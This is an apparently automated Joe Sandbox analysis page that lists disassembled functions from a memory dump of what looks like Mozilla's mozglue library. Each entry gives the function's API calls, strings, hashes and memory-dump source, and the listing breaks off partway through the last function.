Strings

GeckoMain, xrefs: 6CB45ECE, 6CB46015

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: dfda15fe933fce871aa95aa4fbf30205104478d85729af6521ad9f0a9ff92f57
Instruction ID: bfeed338f2b6340d7fe02e3f34dd4191aade1d16eef4d99801dfd52e2c01845a
Opcode Fuzzy Hash: dfda15fe933fce871aa95aa4fbf30205104478d85729af6521ad9f0a9ff92f57
Instruction Fuzzy Hash: 5471A1B46097809FDB01DF28C4C0A6ABBF0FF59304F54496DE48687B52DB31E948CB56

Function 6CB49590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CB33217
Part of subcall function 6CB331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CB33236
Part of subcall function 6CB331C0: FreeLibrary.KERNEL32 ref: 6CB3324B
Part of subcall function 6CB331C0: __Init_thread_footer.LIBCMT ref: 6CB33260
Part of subcall function 6CB331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CB3327F
Part of subcall function 6CB331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB3328E
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB332AB
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB332D1
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB332E5
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB49675
__Init_thread_footer.LIBCMT ref: 6CB49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB49707
__Init_thread_footer.LIBCMT ref: 6CB4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB497B7
FreeLibrary.KERNEL32 ref: 6CB497D0
FreeLibrary.KERNEL32 ref: 6CB497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB49670
MapViewOfFileNuma2, xrefs: 6CB497B1
ntdll.dll, xrefs: 6CB496E3
NtMapViewOfSection, xrefs: 6CB49701

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: eea12de27e946a742daaa2a938f0c83b39142b08233e811788e49a95c6c5224f
Instruction ID: c20a7589ebbf7c7b2ac1a8f7121c78b828788b70446b38a5f9c54f8d0acc9327
Opcode Fuzzy Hash: eea12de27e946a742daaa2a938f0c83b39142b08233e811788e49a95c6c5224f
Instruction Fuzzy Hash: 89612579B042859FDF00CF6AD988B9A3BB8EB5A314F108559FD0593B54DF30A904CB96

Function 6CB47FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CB48007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CB4801D

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CB4802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CB4803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CB4808D

Part of subcall function 6CB4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB4CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CB4809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CB480B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB480DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB480ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB480FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB4810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB48133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CB48149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CB48167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CB4817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB48199

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 7747f9141026089a6bf0a740b97fb7a9d7137781d2fa1e9e1e8da0478515ee6e
Instruction ID: 9f09b62e1e4694a122795d1229e9e9241d1e16997ccd3186777caa3729990f58
Opcode Fuzzy Hash: 7747f9141026089a6bf0a740b97fb7a9d7137781d2fa1e9e1e8da0478515ee6e
Instruction Fuzzy Hash: 0051B7B1E042949BDB00DFA9DC84AEFB7B9EF49224F144126E815E7745E731ED08CBA1

Function 6CB96660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CBBF618), ref: 6CB96694
GetThreadId.KERNEL32(?), ref: 6CB966B1
GetCurrentThreadId.KERNEL32 ref: 6CB966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB966E1
EnterCriticalSection.KERNEL32(6CBBF618), ref: 6CB96734
GetCurrentProcess.KERNEL32 ref: 6CB9673A
LeaveCriticalSection.KERNEL32(6CBBF618), ref: 6CB9676C
GetCurrentThread.KERNEL32 ref: 6CB967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB96868
RtlCaptureContext.NTDLL ref: 6CB9687F

Strings

WalkStack64, xrefs: 6CB96890

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 17ace08df3a7e2ed5690cd6071d9ff4fc99f9176c34bed7e8062eafe3c9457fc
Instruction ID: a7322b5301b8d529742caa16f97f244e535710f0772d7e2345bee32eb9bffa6c
Opcode Fuzzy Hash: 17ace08df3a7e2ed5690cd6071d9ff4fc99f9176c34bed7e8062eafe3c9457fc
Instruction Fuzzy Hash: 0051BC71A09381AFDB51CF24C884B5EBBF4FF8A714F00492DF99997650DB74A908CB92

Function 6CB7DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7DE73
GetCurrentThreadId.KERNEL32 ref: 6CB7DF7D
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7DF8A
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB7DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB44A68), ref: 6CB7DE7B

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB44A68), ref: 6CB7DEB8
free.MOZGLUE(00000000,?,6CB44A68), ref: 6CB7DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB7DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CB7DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB7E00E
<none>, xrefs: 6CB7DFD7

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: ad4d90da4df5ee9bc13ccebf689c9f8efd3e3452438ed5027ac4499a695ce582
Instruction ID: 09b89898754c22826930ab4f558796efacc6d5863522da341a263516e7d829f4
Opcode Fuzzy Hash: ad4d90da4df5ee9bc13ccebf689c9f8efd3e3452438ed5027ac4499a695ce582
Instruction Fuzzy Hash: 1741E23DB011909BEF209B79E8487AEB775EB45358F140019ED299BB01CF719805CBBA

Function 6CB8D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D52A
GetCurrentThreadId.KERNEL32 ref: 6CB8D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D55F
free.MOZGLUE(00000000), ref: 6CB8D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB8D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB8D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D652
GetCurrentThreadId.KERNEL32 ref: 6CB8D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D6A2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: fbc79d3465bc7ab6c82f0d5d088728db0ab5bb9f0750e6489ecabacf8686fdc6
Instruction ID: 827accb849d10e72628d2c2b302520991f01a2d03593b6c19eaa29efed7d4d85
Opcode Fuzzy Hash: fbc79d3465bc7ab6c82f0d5d088728db0ab5bb9f0750e6489ecabacf8686fdc6
Instruction Fuzzy Hash: C5518B71605749DFC704DF34C888A9ABBF4FF89318F108A2EE84A87721DB30A945CB95

Function 6CB55670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CB556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CB556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB55744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CB557BC
GetTickCount64.KERNEL32 ref: 6CB558CB
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB558F3
__aulldiv.LIBCMT ref: 6CB55945
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CBBF638,?,?,?,?), ref: 6CB559E9

Strings

MOZ_APP_RESTART, xrefs: 6CB556CC

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 51ddc240124709ba433a276c8bfaf7697d47ba89ee1f4a592b486900501abd3c
Instruction ID: c3a37c3c4afdf7ae3886eaecb5a0eb754e59263d077d0591ca8e45892058d19d
Opcode Fuzzy Hash: 51ddc240124709ba433a276c8bfaf7697d47ba89ee1f4a592b486900501abd3c
Instruction Fuzzy Hash: A0C19F79A087819FDB05CF28C44066EB7F1FFCA715F458A1DE8C597660DB30A889CB86

Function 6CB7EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7EC8C

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7ECA1
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB7ECC5
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB7ED19
CloseHandle.KERNEL32(?), ref: 6CB7ED28
free.MOZGLUE(00000000), ref: 6CB7ED2F
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB7EC94

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d8a04a930eca5a0c23c501c30a65cb6ade6a4a980e49d67683985fb0f796b3f0
Instruction ID: e50eb2ad3ff24e24d1f58f627943850017e7fd0c9315e18cf4cb761de7299dcd
Opcode Fuzzy Hash: d8a04a930eca5a0c23c501c30a65cb6ade6a4a980e49d67683985fb0f796b3f0
Instruction Fuzzy Hash: 6721BF7D600198AFDF109F28D848AEE7779EF4626CF104210FD2897741DF7198158BBA

Function 6CB78ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CB3EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB3EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB7B392,?,?,00000001), ref: 6CB791F4

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

Strings

marker-table, xrefs: 6CB7906C
timeline-overview, xrefs: 6CB7907A
timeline-ipc, xrefs: 6CB79096
name, xrefs: 6CB78F16
data, xrefs: 6CB790E8
timeline-memory, xrefs: 6CB79088
stack-chart, xrefs: 6CB790B2
marker-chart, xrefs: 6CB7905E
timeline-fileio, xrefs: 6CB790A4

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 05508b0d84d90938458267a985d953c72899907107e8880e7e2ba0332d6eaa64
Instruction ID: 98e83300a0ac50b3e4826c405ba138389fa14d65dc7a2976f32a6ead3d6862f4
Opcode Fuzzy Hash: 05508b0d84d90938458267a985d953c72899907107e8880e7e2ba0332d6eaa64
Instruction Fuzzy Hash: F4B1B1B0A052899BDF14CFA4C8957FEBBB6EB84318F104419D915ABF80DB319945CBE1

Function 6CB5C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB5C5A3
WideCharToMultiByte.KERNEL32 ref: 6CB5C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB5C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB5CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB5CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB5CAA5

Strings

0, xrefs: 6CB5D30A
(null), xrefs: 6CB5C596

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f057ef41c48aea7e8355f8451922980c7e7b6d64a17463d393e74656bb220da1
Instruction ID: 501ef8f422d394345bd808bb26cc870c75174573742da5740fc6121dbc59602d
Opcode Fuzzy Hash: f057ef41c48aea7e8355f8451922980c7e7b6d64a17463d393e74656bb220da1
Instruction Fuzzy Hash: B2A1AB706083829FDB00DF28D99475BBBF6EF89748F44892DE88997741DB31E815CB92

Function 6CB5C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB5C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CB5C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB5C891

Strings

NAN, xrefs: 6CB5C7AD
inf, xrefs: 6CB5C78F
nan, xrefs: 6CB5C7A8
INF, xrefs: 6CB5C794

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 93e9fbe149fe1765828652af5dd96fa917174b6a29842be2a324a8fd93e6bd81
Instruction ID: ff3503c91001c44a933a1effd6561ba5f715d13ebcb153f83c5638a13b13dbdd
Opcode Fuzzy Hash: 93e9fbe149fe1765828652af5dd96fa917174b6a29842be2a324a8fd93e6bd81
Instruction Fuzzy Hash: 335190709087848BD700EF6CC5812AAFBF1BF8E309F404A2CE9D5A7651EB70D9958B43

Function 6CB34480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB74843,?), ref: 6CB345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB74843,?), ref: 6CB3468A
free.MOZGLUE(?,?,?,?,?,?,6CB74843,?), ref: 6CB346C9
free.MOZGLUE(?), ref: 6CB346EF
free.MOZGLUE(?), ref: 6CB34712
free.MOZGLUE(?), ref: 6CB34735
free.MOZGLUE(?), ref: 6CB34758
free.MOZGLUE(?), ref: 6CB3477B
free.MOZGLUE(?), ref: 6CB3479E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2389fb96a950be026fd5556f3af614af95b387896c51bce79e73201f2f8d7b07
